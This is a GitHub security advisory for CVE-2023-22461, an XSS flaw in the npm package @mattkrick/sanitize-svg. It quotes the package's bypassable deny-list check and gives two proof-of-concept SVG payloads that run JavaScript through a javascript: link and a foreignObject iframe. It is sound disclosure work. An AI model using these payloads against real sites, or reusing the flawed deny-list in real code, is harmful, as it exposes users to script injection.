Skip to content

@mattkrick/sanitize-svg vulnerable to Cross-Site Scripting (XSS)

High severity GitHub Reviewed Published Jan 4, 2023 in mattkrick/sanitize-svg • Updated Jan 29, 2023

Package

npm @mattkrick/sanitize-svg (npm)

Affected versions

<= 0.3.1

Patched versions

0.4.0

Description

Impact

The sanitize-svg package uses a deny-list-pattern to sanitize SVGs to prevent cross-site scripting (XSS). In doing so, literal <script>-tags and on-event handlers were detected:

[...]
  const svgEl = div.firstElementChild!
  const attributes = Array.from(svgEl.attributes).map(({ name }) => name)
  const hasScriptAttr = !!attributes.find((attr) => attr.startsWith('on'))
  const scripts = svgEl.getElementsByTagName('script')
  return scripts.length === 0 && !hasScriptAttr ? svg : null
[...]

There are more ways to embed JavaScript in XML files.

Anchor Tag (requires user to click link):

<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <text x="50" y="50" text-anchor="middle">Lauritz</text>
  </a>
</svg>

Foreign Object Tag (no user interaction required):

<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <text x="20" y="35">Lauritz</text>
        <foreignObject width="500" height="500">
                <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:confirm(document.domain);" width="400" height="250"/>
        </foreignObject>
</svg>

As a result, downstream software that relies on sanitize-svg and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications.

Patches

This vulnerability was addressed in v0.4.0.

Workarounds

N/A

References

@mattkrick mattkrick published to mattkrick/sanitize-svg Jan 4, 2023
Published by the National Vulnerability Database Jan 4, 2023
Published to the GitHub Advisory Database Jan 5, 2023
Reviewed Jan 5, 2023
Last updated Jan 29, 2023

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

EPSS score

0.069%
(32nd percentile)

Weaknesses

CVE ID

CVE-2023-22461

GHSA ID

GHSA-h857-2g56-468g

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.